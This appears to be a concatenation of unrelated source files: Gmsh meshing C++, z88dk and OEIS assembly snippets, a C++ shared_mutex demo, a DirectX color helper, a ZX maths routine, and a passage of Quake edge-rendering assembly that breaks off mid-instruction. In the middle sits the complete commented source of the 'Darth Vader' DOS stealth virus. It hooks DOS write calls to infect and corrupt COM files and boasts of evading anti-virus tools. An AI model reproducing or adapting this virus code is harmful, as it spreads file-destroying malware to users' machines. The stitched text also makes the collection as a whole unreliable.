{t->getVertex(0)->z(), t->getVertex(1)->z(), t->getVertex(2)->z()}; for(int j = 0; j < 3; j++) { X[j] /= scaling; Y[j] /= scaling; Z[j] /= scaling; } double P[3] = {(X[0] + X[1] + X[2]) / 3., (Y[0] + Y[1] + Y[2]) / 3., (Z[0] + Z[1] + Z[2]) / 3.}; double v1[3] = {X[0] - X[1], Y[0] - Y[1], Z[0] - Z[1]}; double v2[3] = {X[2] - X[1], Y[2] - Y[1], Z[2] - Z[1]}; double N[3]; prodve(v1, v2, N); norme(v1); norme(v2); norme(N); N[0] += rrr[0] * v1[0] + rrr[1] * v2[0]; N[1] += rrr[2] * v1[1] + rrr[3] * v2[1]; N[2] += rrr[4] * v1[2] + rrr[5] * v2[2]; norme(N); std::vector<GFace *>::iterator it_b = faces.begin(); while(it_b != faces.end()) { GFace *gf_b = (*it_b); for(std::size_t i_b = 0; i_b < gf_b->triangles.size(); i_b++) { MTriangle *t_b = gf_b->triangles[i_b]; if(t_b != t) { double X_b[3] = {t_b->getVertex(0)->x(), t_b->getVertex(1)->x(), t_b->getVertex(2)->x()}; double Y_b[3] = {t_b->getVertex(0)->y(), t_b->getVertex(1)->y(), t_b->getVertex(2)->y()}; double Z_b[3] = {t_b->getVertex(0)->z(), t_b->getVertex(1)->z(), t_b->getVertex(2)->z()}; for(int j = 0; j < 3; j++) { X_b[j] /= scaling; Y_b[j] /= scaling; Z_b[j] /= scaling; } int inters = intersectLineTriangle(X_b, Y_b, Z_b, P, N, 1.e-9); nb_intersect += inters; } } ++it_b; } Msg::Info("Region %d Face %d, %d intersect", gr->tag(), gf->tag(), nb_intersect); if(nb_intersect >= 0) break; // negative value means intersection is not "robust" } if(nb_intersect < 0) { setRand(rrr); } else { if(nb_intersect % 2 == 1) { // odd nb of intersections: the normal points inside the region for(std::size_t i = 0; i < gf->triangles.size(); i++) { gf->triangles[i]->reverse(); } } ++it; } } // FILE *fp = Fopen("debug.pos", "w"); // if(fp){ // fprintf(fp, "View \"debug\" {\n"); // for(std::list<GFace*>::iterator it = faces.begin(); it != faces.end(); // it++) // for(std::size_t i = 0; i < (*it)->triangles.size(); i++) // (*it)->triangles[i]->writePOS(fp, 1., (*it)->tag()); // fprintf(fp, "};\n"); // fclose(fp); // } } #endif void meshGRegionNetgen(GRegion *gr) { #if !defined(HAVE_NETGEN) Msg::Error("Frontal algorithm requires Netgen"); #else // sanity check for frontal algo std::vector<GFace *> faces = gr->faces(); for(std::vector<GFace *>::iterator it = faces.begin(); it != faces.end(); it++) { if((*it)->quadrangles.size()) { Msg::Error("Cannot use frontal 3D algorithm with quadrangles on boundary"); return; } } Msg::Info("Meshing volume %d (Frontal)", gr->tag()); // orient the triangles of with respect to this region meshNormalsPointOutOfTheRegion(gr); std::vector<MVertex *> numberedV; Ng_Mesh *ngmesh = buildNetgenStructure(gr, false, numberedV); Ng_GenerateVolumeMesh(ngmesh, CTX::instance()->mesh.lcMax); TransferVolumeMesh(gr, ngmesh, numberedV); Ng_DeleteMesh(ngmesh); Ng_Exit(); #endif } void optimizeMeshGRegionNetgen::operator()(GRegion *gr, bool always) { gr->model()->setCurrentMeshEntity(gr); if(!always && gr->geomType() == GEntity::DiscreteVolume) return; // don't optimize transfinite or extruded meshes if(gr->meshAttributes.method == MESH_TRANSFINITE) return; ExtrudeParams *ep = gr->meshAttributes.extrude; if(ep && ep->mesh.ExtrudeMesh && ep->geo.Mode == EXTRUDED_ENTITY) return; if(gr->prisms.size() || gr->hexahedra.size() || gr->pyramids.size()){ Msg::Info("Skipping Netgen optimizer for hybrid mesh"); return; } #if !defined(HAVE_NETGEN) Msg::Error("Netgen optimizer is not compiled in this version of Gmsh"); #else Msg::Info("Optimizing volume %d", gr->tag()); // import mesh into netgen, including volume tets std::vector<MVertex *> numberedV; Ng_Mesh *ngmesh = buildNetgenStructure(gr, true, numberedV); // delete volume vertices and tets deMeshGRegion dem; dem(gr); // optimize mesh Ng_OptimizeVolumeMesh(ngmesh, CTX::instance()->mesh.lcMax); TransferVolumeMesh(gr, ngmesh, numberedV); Ng_DeleteMesh(ngmesh); Ng_Exit(); #endif }
;******************************************************************************* ;* * ;* D A R T H V A D E R - stealth virus * ;* * ;* (C) - Copyright 1991 by Waleri Todorov, CICTT * ;* All Rights Reserved * ;* * ;* Virus infect ANY com file exept COMMAND.COM. He use iternal DOS * ;* dispatcher for int21 functions, so it cannot be stoped by programs * ;* like ANTI4US etc... He also cannot be stoped by disk lock utilities * ;* because the virus use WRITE function (40h) of DOS' int21. * ;* Always when you copy COM file with DOS' 'copy' command or PCTools * ;* class programm, you will receive infected (destroyed) copy of file * ;* Infected file won't work, but the virus WILL * ;* * ;* Waleri Todorov * ;* * ;******************************************************************************* nop ; Dummy NOPs. Required nop mov ah,30h ; Get DOS version int 21h cmp al,5 ; If DOS is NOT 5.X jb OkDOS ; Continue Exit ; else terminate int 20h OkDos mov ax,1203h ; Get DOS segment int 2fh ; Via interrupt 2F (undocumented) mov si,9000h ; Set ES to 9000 mov es,si ; Usualy this area is fill with zeros xor si,si ; SI=0 Next inc si ; Next byte cmp si,0F00h ; If SI==0xF00 ja Exit ; Then no place found and exit to DOS push si ; else Save SI in stack xor di,di ; ES:DI == 9000:0000 mov cx,offset lastbyte-100h ; Will check virus size repe cmpsb ; Check until equal jcxz Found ; if CX==0 then place is found pop si ; else restore SI from stack jmp short Next ; and go search next byte Found pop di ; Restore saved SI to DI mov cs:MyPlace,di ; Save new offset in DOS segment mov [2],di ; at DOSSEG:0002 mov si,100h ; SI will point beginning in file push ds ; Save DS push ds ; Set ES equal to DS pop es ; push cs ; Set DS=CS pop ds ; mov cx,offset LastByte-100h ; Will move virus size only rep movsb ; Do move pop ds ; Restore DS (point to DOSSEG) push si ; From this place will search DOS table NextTable pop si ; inc si ; Next byte jz Exit ; If segment end then exit push si ; Save SI lodsw ; Load AX from DS:SI xchg ax,bx ; Put AX in BX lodsb ; and load AL from DS:SI cmp bx,8B2Eh ; Check for special bytes jne NextTable ; in AL and BX cmp al,9Fh jne NextTable ; If not match -> search next byte FoundTable lodsw ; Else load table address to AX xchg ax,bx ; Put table address to BX mov si,[bx+80h] ; Load current offset of 40h function mov di,offset Handle ; Put its offset to DI mov cx,5 ; Will check 5 bytes only push cs ; ES:DI point handling of 40 in file pop es repe cmpsb ; Check if DS:SI match to ES:DI jcxz Exit ; If match -> virus is here -> Exit mov ax,[bx+80h] ; else load offset of function 40 mov [4],ax ; And save it to DOSSEG:0004 mov ax,offset Handle-100h ; Load absolute address of add ax,cs:MyPlace ; new handler and adjust its location mov [bx+80h],ax ; Store new address in DOS table int 20h ; Now virus is load and active Handle ; Handle function 40h of int 21 push ax ; Save important registers push bx push cx push ds push es push si push di cmp cx,270d ; Check if write less than virus size jb Do ; If so -> write with no infection mov cs:[0C00h],ds ; Save buffer segment in DOSSEG:0C00 mov cs:[0C02h],dx ; Save buffer offset in DOSSEG:0C02 mov ax,1220h ; Get number of File Handle table int 2fh ; Via int 2F (undocumented) mov bl,es:[di] ; Load number to BL mov ax,1216h ; Get File Handle table address int 2fh ; Via int 2F (undocumented) push di ; Save table offset add di,20h ; Now offset point to NAME of file push cs ; DS now will point in virus pop ds mov si,offset Command-100h ; Address of string COMM add si,cs:[2] ; Adjust for different offset in DOS mov cx,4 ; Check 4 bytes repe cmpsb ; Do check until equal pop di ; Restore address of table jcxz Do ; If match -> file is COMMand.XXX add di,28h ; Else DI point to EXTENSION of file mov si,offset Com-100h ; Address of string COM add si,cs:[2] ; Adjust for different offset in DOS mov cx,3 ; Check 3 bytes repe cmpsb ; Do check until equal jne Do ; If NOT *.COM file -> write normal mov di,cs:[0C02h] ; Else restore data buffer from mov es,cs:[0C00h] ; DOSSEG:0C00 & DOSSEG:0C02 mov si,cs:[2] ; Get virus start offset mov cx,offset LastByte-100 ; Will move virus only rep movsb ; Move its code in data to write ; Now virus is placed in data buffer of COPY command or PCTools etc... ; When they write to COM file they write virus either Do pop di ; Restore importatnt registers pop si pop es pop ds pop cx pop bx pop ax db 36h,0FFh,16h,4,0 ; CALL SS:[4] (call original 40) ret ; Return to caller (usualy DOS) Command db 'COMM' ; String for check COMMand.XXX Com db 'COM' ; String for check *.COM db 'Darth Vader' ; Signature LastByte nop ; Mark to calculate virus size MyPlace dw 0 ; Temporary variable. Not writed 
MODULE __tms9118_console_stubs PUBLIC tms9918_cls PUBLIC tms9918_console_vpeek PUBLIC tms9918_console_ioctl PUBLIC tms9918_scrollup PUBLIC tms9918_printc PUBLIC tms9918_set_ink PUBLIC tms9918_set_paper PUBLIC tms9918_set_inverse PUBLIC tms9918_spc1000_impl EXTERN __tms9918_cls EXTERN __tms9918_console_vpeek EXTERN __tms9918_console_ioctl EXTERN __tms9918_scrollup EXTERN __tms9918_printc EXTERN __tms9918_set_ink EXTERN __tms9918_set_paper EXTERN __tms9918_set_inverse defc tms9918_cls = __tms9918_cls defc tms9918_console_vpeek = __tms9918_console_vpeek defc tms9918_console_ioctl = __tms9918_console_ioctl defc tms9918_scrollup = __tms9918_scrollup defc tms9918_printc = __tms9918_printc defc tms9918_set_ink = __tms9918_set_ink defc tms9918_set_paper = __tms9918_set_paper defc tms9918_set_inverse = __tms9918_set_inverse defc tms9918_spc1000_impl = 1
; A099157: a(n) = 4^(n-1)*U(n-1, 3/2) where U is the Chebyshev polynomial of the second kind. ; Submitted by Jon Maiga ; 0,1,12,128,1344,14080,147456,1544192,16171008,169345024,1773404160,18571329536,194481487872,2036636581888,21327935176704,223349036810240,2338941478895616,24493713157783552,256501494231072768 mov $2,4 pow $2,$0 lpb $0 sub $0,1 add $1,$2 add $2,$1 lpe mov $0,$1 div $0,4
; A163673: a(n) = n*(2*n^2 + 5*n + 15)/2. ; 0,11,33,72,134,225,351,518,732,999,1325,1716,2178,2717,3339,4050,4856,5763,6777,7904,9150,10521,12023,13662,15444,17375,19461,21708,24122,26709,29475,32426,35568,38907,42449,46200,50166,54353,58767,63414,68300,73431,78813,84452,90354,96525,102971,109698,116712,124019,131625,139536,147758,156297,165159,174350,183876,193743,203957,214524,225450,236741,248403,260442,272864,285675,298881,312488,326502,340929,355775,371046,386748,402887,419469,436500,453986,471933,490347,509234,528600,548451,568793,589632,610974,632825,655191,678078,701492,725439,749925,774956,800538,826677,853379,880650,908496,936923,965937,995544,1025750,1056561,1087983,1120022,1152684,1185975,1219901,1254468,1289682,1325549,1362075,1399266,1437128,1475667,1514889,1554800,1595406,1636713,1678727,1721454,1764900,1809071,1853973,1899612,1945994,1993125,2041011,2089658,2139072,2189259,2240225,2291976,2344518,2397857,2451999,2506950,2562716,2619303,2676717,2734964,2794050,2853981,2914763,2976402,3038904,3102275,3166521,3231648,3297662,3364569,3432375,3501086,3570708,3641247,3712709,3785100,3858426,3932693,4007907,4084074,4161200,4239291,4318353,4398392,4479414,4561425,4644431,4728438,4813452,4899479,4986525,5074596,5163698,5253837,5345019,5437250,5530536,5624883,5720297,5816784,5914350,6013001,6112743,6213582,6315524,6418575,6522741,6628028,6734442,6841989,6950675,7060506,7171488,7283627,7396929,7511400,7627046,7743873,7861887,7981094,8101500,8223111,8345933,8469972,8595234,8721725,8849451,8978418,9108632,9240099,9372825,9506816,9642078,9778617,9916439,10055550,10195956,10337663,10480677,10625004,10770650,10917621,11065923,11215562,11366544,11518875,11672561,11827608,11984022,12141809,12300975,12461526,12623468,12786807,12951549,13117700,13285266,13454253,13624667,13796514,13969800,14144531,14320713,14498352,14677454,14858025,15040071,15223598,15408612,15595119 mov $2,11 mov $3,11 lpb $0,1 sub $0,1 add $1,$3 add $3,$2 add $2,6 lpe
//--------------------------------------------------------- // shared.cc //--------------------------------------------------------- #include <atomic> #include <chrono> #include <iostream> #include <random> #include <shared_mutex> #include <thread> //--------------------------------------------------------- using namespace std; //--------------------------------------------------------- atomic<bool> run(true); shared_mutex em; // exclusión mutua //--------------------------------------------------------- void seccion_critica(char c) { for (char i = 0; i < 10; ++i) cout << c++; cout << endl; } //--------------------------------------------------------- void lector() { while (run) { shared_lock<shared_mutex> sl(em); seccion_critica('0'); } } //--------------------------------------------------------- void escritor() { while (run) { unique_lock<shared_mutex> ul(em); seccion_critica('a'); } } //--------------------------------------------------------- int main() { const unsigned N = 8; thread lectores[N], escritores[N]; std::default_random_engine engine; for (unsigned i = 0; i < N; ++i) if (engine() & 1) { lectores[i] = thread( lector); escritores[i] = thread(escritor); } else { escritores[i] = thread(escritor); lectores[i] = thread( lector); } this_thread::sleep_for(1s); run = false; for(thread& i: lectores) i.join(); for(thread& i: escritores) i.join(); } //---------------------------------------------------------
; A105638: Maximum number of intersections in self-intersecting n-gon. ; 0,1,5,7,14,17,27,31,44,49,65,71,90,97,119,127,152,161,189,199,230,241,275,287,324,337,377,391,434,449,495,511,560,577,629,647,702,721,779,799,860,881,945,967,1034,1057,1127,1151,1224,1249,1325,1351,1430,1457,1539,1567,1652,1681,1769,1799,1890,1921,2015,2047,2144,2177,2277,2311,2414,2449,2555,2591,2700,2737,2849,2887,3002,3041,3159,3199,3320,3361,3485,3527,3654,3697,3827,3871,4004,4049,4185,4231,4370,4417,4559,4607,4752,4801,4949,4999,5150,5201,5355,5407,5564,5617,5777,5831,5994,6049,6215,6271,6440,6497,6669,6727,6902,6961,7139,7199,7380,7441,7625,7687,7874,7937,8127,8191,8384,8449,8645,8711,8910,8977,9179,9247,9452,9521,9729,9799,10010,10081,10295,10367,10584,10657,10877,10951,11174,11249,11475,11551,11780,11857,12089,12167,12402,12481,12719,12799,13040,13121,13365,13447,13694,13777,14027,14111,14364,14449,14705,14791,15050,15137,15399,15487,15752,15841,16109,16199,16470,16561,16835,16927,17204,17297,17577,17671,17954,18049,18335,18431,18720,18817,19109,19207,19502,19601,19899,19999,20300,20401,20705,20807,21114,21217,21527,21631,21944,22049,22365,22471,22790,22897,23219,23327,23652,23761,24089,24199,24530,24641,24975,25087,25424,25537,25877,25991,26334,26449,26795,26911,27260,27377,27729,27847,28202,28321,28679,28799,29160,29281,29645,29767,30134,30257,30627,30751,31124,31249 mov $1,$0 add $0,2 div $0,2 add $1,1 mul $1,$0 sub $1,1
#include "pch.h" #include "ColorHelper.h" using namespace DirectX; using namespace DirectX::PackedVector; namespace DX { const XMFLOAT4 ColorHelper::White() { return { 1.0f, 1.0f, 1.0f, 1.0f }; } const XMFLOAT4 ColorHelper::Gray() { return { 0.5f, 0.5f, 0.5f, 1.0f }; } const XMFLOAT4 ColorHelper::Black() { return { 0.0f, 0.0f, 0.0f, 1.0f }; } const XMFLOAT4 ColorHelper::Red() { return { 1.0f, 0.0f, 0.0f, 1.0f }; } const XMFLOAT4 ColorHelper::Maroon() { return { 0.5f, 0.0f, 0.0f, 1.0f }; } const XMFLOAT4 ColorHelper::Yellow() { return { 1.0f, 1.0f, 0.0f, 1.0f }; } const XMFLOAT4 ColorHelper::Olive() { return { 0.5f, 0.5f, 0.0f, 1.0f }; } const XMFLOAT4 ColorHelper::Lime() { return { 0.0f, 1.0f, 0.0f, 1.0f }; } const XMFLOAT4 ColorHelper::Green() { return { 0.0f, 0.5f, 0.0f, 1.0f }; } const XMFLOAT4 ColorHelper::Aqua() { return { 0.0f, 1.0f, 1.0f, 1.0f }; } const XMFLOAT4 ColorHelper::Teal() { return { 0.0f, 0.5f, 0.5f, 1.0f }; } const XMFLOAT4 ColorHelper::Blue() { return { 0.0f, 0.0f, 1.0f, 1.0f }; } const XMFLOAT4 ColorHelper::Navy() { return { 0.0f, 0.0f, 0.5f, 1.0f }; } const XMFLOAT4 ColorHelper::Fuchsia() { return { 1.0f, 0.0f, 1.0f, 1.0f }; } const XMFLOAT4 ColorHelper::Purple() { return { 0.5f, 0.0f, 0.5f, 1.0f }; } std::random_device ColorHelper::sDevice; std::default_random_engine ColorHelper::sGenerator(sDevice()); std::uniform_real_distribution<float> ColorHelper::sDistribution(0, 1); XMFLOAT4 ColorHelper::RandomColor() { float r = sDistribution(sGenerator); float g = sDistribution(sGenerator); float b = sDistribution(sGenerator); return XMFLOAT4(r, g, b, 1.0f); } XMFLOAT4 ColorHelper::ToFloat4(const XMCOLOR& color, bool normalize) { return (normalize ? XMFLOAT4(color.r / 255.0f, color.g / 255.0f, color.b / 255.0f, color.a / 255.0f) : XMFLOAT4(color.r, color.g, color.b, color.a)); } }
; ; ; ZX Maths Routines ; ; 8/12/02 - Stefano Bodrato ; ; $Id: dge.asm,v 1.2 2006/05/23 19:45:32 stefano Exp $ ; IF FORzx INCLUDE "#zxfp.def" ELSE INCLUDE "#81fp.def" ENDIF XLIB dge LIB fsetup LIB f_yesno .dge call fsetup defb ZXFP_SUBTRACT defb ZXFP_LESS_0 defb ZXFP_NOT defb ZXFP_END_CALC jp f_yesno
; A059601: Expansion of (1+10*x+5*x^2)/(1-x)^10. ; 1,20,160,820,3190,10252,28600,71500,163735,348920,700128,1334840,2435420,4276520,7261040,11966504,19203965,30091820,46147200,69397900,102518130,148991700,213306600,301185300 mul $0,2 cal $0,38165 ; G.f.: 1/((1-x)*(1-x^2))^5. mov $1,$0
.386P .model FLAT ; ; r_edgea.s ; x86 assembly-language edge-processing code. ; include qasm.inc if id386 _DATA SEGMENT Ltemp dd 0 float_1_div_0100000h dd 035800000h ; 1.0/(float)0x100000 float_point_999 dd 0.999 float_1_point_001 dd 1.001 _DATA ENDS _TEXT SEGMENT ;-------------------------------------------------------------------- edgestoadd equ 4+8 ; note odd stack offsets because of interleaving edgelist equ 8+12 ; with pushes public _R_EdgeCodeStart _R_EdgeCodeStart: public _R_InsertNewEdges _R_InsertNewEdges: push edi push esi ; preserve register variables mov edx,ds:dword ptr[edgestoadd+esp] push ebx mov ecx,ds:dword ptr[edgelist+esp] LDoNextEdge: mov eax,ds:dword ptr[et_u+edx] mov edi,edx LContinueSearch: mov ebx,ds:dword ptr[et_u+ecx] mov esi,ds:dword ptr[et_next+ecx] cmp eax,ebx jle LAddedge mov ebx,ds:dword ptr[et_u+esi] mov ecx,ds:dword ptr[et_next+esi] cmp eax,ebx jle LAddedge2 mov ebx,ds:dword ptr[et_u+ecx] mov esi,ds:dword ptr[et_next+ecx] cmp eax,ebx jle LAddedge mov ebx,ds:dword ptr[et_u+esi] mov ecx,ds:dword ptr[et_next+esi] cmp eax,ebx jg LContinueSearch LAddedge2: mov edx,ds:dword ptr[et_next+edx] mov ebx,ds:dword ptr[et_prev+esi] mov ds:dword ptr[et_next+edi],esi mov ds:dword ptr[et_prev+edi],ebx mov ds:dword ptr[et_next+ebx],edi mov ds:dword ptr[et_prev+esi],edi mov ecx,esi cmp edx,0 jnz LDoNextEdge jmp LDone align 4 LAddedge: mov edx,ds:dword ptr[et_next+edx] mov ebx,ds:dword ptr[et_prev+ecx] mov ds:dword ptr[et_next+edi],ecx mov ds:dword ptr[et_prev+edi],ebx mov ds:dword ptr[et_next+ebx],edi mov ds:dword ptr[et_prev+ecx],edi cmp edx,0 jnz LDoNextEdge LDone: pop ebx ; restore register variables pop esi pop edi ret ;-------------------------------------------------------------------- predge equ 4+4 public _R_RemoveEdges _R_RemoveEdges: push ebx mov eax,ds:dword ptr[predge+esp] Lre_loop: mov ecx,ds:dword ptr[et_next+eax] mov ebx,ds:dword ptr[et_nextremove+eax] mov edx,ds:dword ptr[et_prev+eax] test ebx,ebx mov ds:dword ptr[et_prev+ecx],edx jz Lre_done mov ds:dword ptr[et_next+edx],ecx mov ecx,ds:dword ptr[et_next+ebx] mov edx,ds:dword ptr[et_prev+ebx] mov eax,ds:dword ptr[et_nextremove+ebx] mov ds:dword ptr[et_prev+ecx],edx test eax,eax mov ds:dword ptr[et_next+edx],ecx jnz Lre_loop pop ebx ret Lre_done: mov ds:dword ptr[et_next+edx],ecx pop ebx ret ;-------------------------------------------------------------------- pedgelist equ 4+4 ; note odd stack offset because of interleaving ; with pushes public _R_StepActiveU _R_StepActiveU: push edi mov edx,ds:dword ptr[pedgelist+esp] push esi ; preserve register variables push ebx mov esi,ds:dword ptr[et_prev+edx] LNewEdge: mov edi,ds:dword ptr[et_u+esi] LNextEdge: mov eax,ds:dword ptr[et_u+edx] mov ebx,ds:dword ptr[et_u_step+edx] add eax,ebx mov esi,ds:dword ptr[et_next+edx] mov ds:dword ptr[et_u+edx],eax cmp eax,edi jl LPushBack mov edi,ds:dword ptr[et_u+esi] mov ebx,ds:dword ptr[et_u_step+esi] add edi,ebx mov edx,ds:dword ptr[et_next+esi] mov ds:dword ptr[et_u+esi],edi cmp edi,eax jl LPushBack2 mov eax,ds:dword ptr[et_u+edx] mov ebx,ds:dword ptr[et_u_step+edx] add eax,ebx mov esi,ds:dword ptr[et_next+edx] mov ds:dword ptr[et_u+edx],eax cmp eax,edi jl LPushBack mov edi,ds:dword ptr[et_u+esi] mov ebx,ds:dword ptr[et_u_step+esi] add edi,ebx mov edx,ds:dword ptr[et_next+esi] mov ds:dword ptr[et_u+esi],edi cmp edi,eax jnl LNextEdge LPushBack2: mov ebx,edx mov eax,edi mov edx,esi mov esi,ebx LPushBack: ; push it back to keep it sorted mov ecx,ds:dword ptr[et_prev+edx] mov ebx,ds:dword ptr[et_next+edx] ; done if the -1 in edge_aftertail triggered this cmp edx,offset _edge_aftertail jz LUDone ; pull the edge out of the edge list mov edi,ds:dword ptr[et_prev+ecx] mov ds:dword ptr[et_prev+esi],ecx mov ds:dword ptr[et_next+ecx],ebx ; find out where the edge goes in the edge list LPushBackLoop: mov ecx,ds:dword ptr[et_prev+edi] mov ebx,ds:dword ptr[et_u+edi] cmp eax,ebx jnl LPushBackFound mov edi,ds:dword ptr[et_prev+ecx] mov ebx,ds:dword ptr[et_u+ecx] cmp eax,ebx jl LPushBackLoop mov edi,ecx ; put the edge back into the edge list LPushBackFound: mov ebx,ds:dword ptr[et_next+edi] mov ds:dword ptr[et_prev+edx],edi mov ds:dword ptr[et_next+edx],ebx mov ds:dword ptr[et_next+edi],edx mov ds:dword ptr[et_prev+ebx],edx mov edx,esi mov esi,ds:dword ptr[et_prev+esi] cmp edx,offset _edge_tail jnz LNewEdge LUDone: pop ebx ; restore register variables pop esi pop edi ret ;-------------------------------------------------------------------- surf equ 4 ; note this is loaded before any pushes align 4 TrailingEdge: mov eax,ds:dword ptr[st_spanstate+esi] ; check for edge inversion dec eax jnz LInverted mov ds:dword ptr[st_spanstate+esi],eax mov ecx,ds:dword ptr[st_insubmodel+esi] mov edx,ds:dword ptr[12345678h] ; surfaces[1].st_next LPatch0: mov eax,ds:dword ptr[_r_bmodelactive] sub eax,ecx cmp edx,esi mov ds:dword ptr[_r_bmodelactive],eax jnz LNoEmit ; surface isn't on top, just remove ; emit a span (current top going away) mov eax,ds:dword ptr[et_u+ebx] shr eax,20 ; iu = integral pixel u mov edx,ds:dword ptr[st_last_u+esi] mov ecx,ds:dword ptr[st_next+esi] cmp eax,edx jle LNoEmit2 ; iu <= surf->last_u, so nothing to emit mov ds:dword ptr[st_last_u+ecx],eax ; surf->next->last_u = iu; sub eax,edx mov ds:dword ptr[espan_t_u+ebp],edx ; span->u = surf->last_u; mov ds:dword ptr[espan_t_count+ebp],eax ; span->count = iu - span->u; mov eax,ds:dword ptr[_current_iv] mov ds:dword ptr[espan_t_v+ebp],eax ; span->v = current_iv; mov eax,ds:dword ptr[st_spans+esi] mov ds:dword ptr[espan_t_pnext+ebp],eax ; span->pnext = surf->spans; mov ds:dword ptr[st_spans+esi],ebp ; surf->spans = span; add ebp,offset espan_t_size mov edx,ds:dword ptr[st_next+esi] ; remove the surface from the surface mov esi,ds:dword ptr[st_prev+esi] ; stack mov ds:dword ptr[st_next+esi],edx mov ds:dword ptr[st_prev+edx],esi ret LNoEmit2: mov ds:dword ptr[st_last_u+ecx],eax ; surf->next->last_u = iu; mov edx,ds:dword ptr[st_next+esi] ; remove the surface from the surface mov esi,ds:dword ptr[st_prev+esi] ; stack mov ds:dword ptr[st_next+esi],edx mov ds:dword ptr[st_prev+edx],esi ret LNoEmit: mov edx,ds:dword ptr[st_next+esi] ; remove the surface from the surface mov esi,ds:dword ptr[st_prev+esi] ; stack mov ds:dword ptr[st_next+esi],edx mov ds:dword ptr[st_prev+edx],esi ret LInverted: mov ds:dword ptr[st_spanstate+esi],eax ret ;-------------------------------------------------------------------- ; trailing edge only Lgs_trailing: push offset Lgs_nextedge jmp TrailingEdge public _R_GenerateSpans _R_GenerateSpans: push ebp ; preserve caller's stack frame push edi push esi ; preserve register variables push ebx ; clear active surfaces to just the background surface mov eax,ds:dword ptr[_surfaces] mov edx,ds:dword ptr[_edge_head_u_shift20] add eax,offset st_size ; %ebp = span_p throughout mov ebp,ds:dword ptr[_span_p] mov ds:dword ptr[_r_bmodelactive],0 mov ds:dword ptr[st_next+eax],eax mov ds:dword ptr[st_prev+eax],eax mov ds:dword ptr[st_last_u+eax],edx mov ebx,ds:dword ptr[_edge_head+et_next] ; edge=edge_head.next ; generate spans cmp ebx,offset _edge_tail ; done if empty list jz Lgs_lastspan Lgs_edgeloop: mov edi,ds:dword ptr[et_surfs+ebx] mov eax,ds:dword ptr[_surfaces] mov esi,edi and edi,0FFFF0000h and esi,0FFFFh jz Lgs_leading ; not a trailing edge ; it has a left surface, so a surface is going away for this span shl esi,offset SURF_T_SHIFT add esi,eax test edi,edi jz Lgs_trailing ; both leading and trailing call near ptr TrailingEdge mov eax,ds:dword ptr[_surfaces] ; --------------------------------------------------------------- ; handle a leading edge ; --------------------------------------------------------------- Lgs_leading: shr edi,16-SURF_T_SHIFT mov eax,ds:dword ptr[_surfaces] add edi,eax mov esi,ds:dword ptr[12345678h] ; surf2 = surfaces[1].next; LPatch2: mov edx,ds:dword ptr[st_spanstate+edi] mov eax,ds:dword ptr[st_insubmodel+edi] test eax,eax jnz Lbmodel_leading ; handle a leading non-bmodel edge ; don't start a span if this is an inverted span, with the end edge preceding ; the start edge (that is, we've already seen the end edge) test edx,edx jnz Lxl_done ; if (surf->key < surf2->key) ; goto newtop; inc edx mov eax,ds:dword ptr[st_key+edi] mov ds:dword ptr[st_spanstate+edi],edx mov ecx,ds:dword ptr[st_key+esi] cmp eax,ecx jl Lnewtop ; main sorting loop to search through surface stack until insertion point ; found. Always terminates because background surface is sentinel ; do ; { ; surf2 = surf2->next; ; } while (surf->key >= surf2->key); Lsortloopnb: mov esi,ds:dword ptr[st_next+esi] mov ecx,ds:dword ptr[st_key+esi] cmp eax,ecx jge Lsortloopnb jmp LInsertAndExit ; handle a leading bmodel edge align 4 Lbmodel_leading: ; don't start a span if this is an inverted span, with the end edge preceding ; the start edge (that is, we've already seen the end edge) test edx,edx jnz Lxl_done mov ecx,ds:dword ptr[_r_bmodelactive] inc edx inc ecx mov ds:dword ptr[st_spanstate+edi],edx mov ds:dword ptr[_r_bmodelactive],ecx ; if (surf->key < surf2->key) ; goto newtop; mov eax,ds:dword ptr[st_key+edi] mov ecx,ds:dword ptr[st_key+esi] cmp eax,ecx jl Lnewtop ; if ((surf->key == surf2->key) && surf->insubmodel) ; { jz Lzcheck_for_newtop ; main sorting loop to search through surface stack until insertion point ; found. Always terminates because background surface is sentinel ; do ; { ; surf2 = surf2->next; ; } while (surf->key > surf2->key); Lsortloop: mov esi,ds:dword ptr[st_next+esi] mov ecx,ds:dword ptr[st_key+esi] cmp eax,ecx jg Lsortloop jne LInsertAndExit ; Do 1/z sorting to see if we've arrived in the right position mov eax,ds:dword ptr[et_u+ebx] sub eax,0FFFFFh mov ds:dword ptr[Ltemp],eax fild ds:dword ptr[Ltemp] fmul ds:dword ptr[float_1_div_0100000h] ; fu = (float)(edge->u - 0xFFFFF) * ; (1.0 / 0x100000); fld st(0) ; fu | fu fmul ds:dword ptr[st_d_zistepu+edi] ; fu*surf->d_zistepu | fu fld ds:dword ptr[_fv] ; fv | fu*surf->d_zistepu | fu fmul ds:dword ptr[st_d_zistepv+edi] ; fv*surf->d_zistepv | fu*surf->d_zistepu | fu fxch st(1) ; fu*surf->d_zistepu | fv*surf->d_zistepv | fu fadd ds:dword ptr[st_d_ziorigin+edi] ; fu*surf->d_zistepu + surf->d_ziorigin | ; fv*surf->d_zistepv | fu fld ds:dword ptr[st_d_zistepu+esi] ; surf2->d_zistepu | ; fu*surf->d_zistepu + surf->d_ziorigin | ; fv*surf->d_zistepv | fu fmul st(0),st(3) ; fu*surf2->d_zistepu | ; fu*surf->d_zistepu + surf->d_ziorigin | ; fv*surf->d_zistepv | fu fxch st(1) ; fu*surf->d_zistepu + surf->d_ziorigin | ; fu*surf2->d_zistepu | ; fv*surf->d_zistepv | fu faddp st(2),st(0) ; fu*surf2->d_zistepu | newzi | fu fld ds:dword ptr[_fv] ; fv | fu*surf2->d_zistepu | newzi | fu fmul ds:dword ptr[st_d_zistepv+esi] ; fv*surf2->d_zistepv | ; fu*surf2->d_zistepu | newzi | fu fld st(2) ; newzi | fv*surf2->d_zistepv | ; fu*surf2->d_zistepu | newzi | fu fmul ds:dword ptr[float_point_999] ; newzibottom | fv*surf2->d_zistepv | ; fu*surf2->d_zistepu | newzi | fu fxch st(2) ; fu*surf2->d_zistepu | fv*surf2->d_zistepv | ; newzibottom | newzi | fu fadd ds:dword ptr[st_d_ziorigin+esi] ; fu*surf2->d_zistepu + surf2->d_ziorigin | ; fv*surf2->d_zistepv | newzibottom | newzi | ; fu faddp st(1),st(0) ; testzi | newzibottom | newzi | fu fxch st(1) ; newzibottom | testzi | newzi | fu ; if (newzibottom >= testzi) ; goto Lgotposition; fcomp st(1) ; testzi | newzi | fu fxch st(1) ; newzi | testzi | fu fmul ds:dword ptr[float_1_point_001] ; newzitop | testzi | fu fxch st(1) ; testzi | newzitop | fu fnstsw ax test ah,001h jz Lgotposition_fpop3 ; if (newzitop >= testzi) ; { fcomp st(1) ; newzitop | fu fnstsw ax test 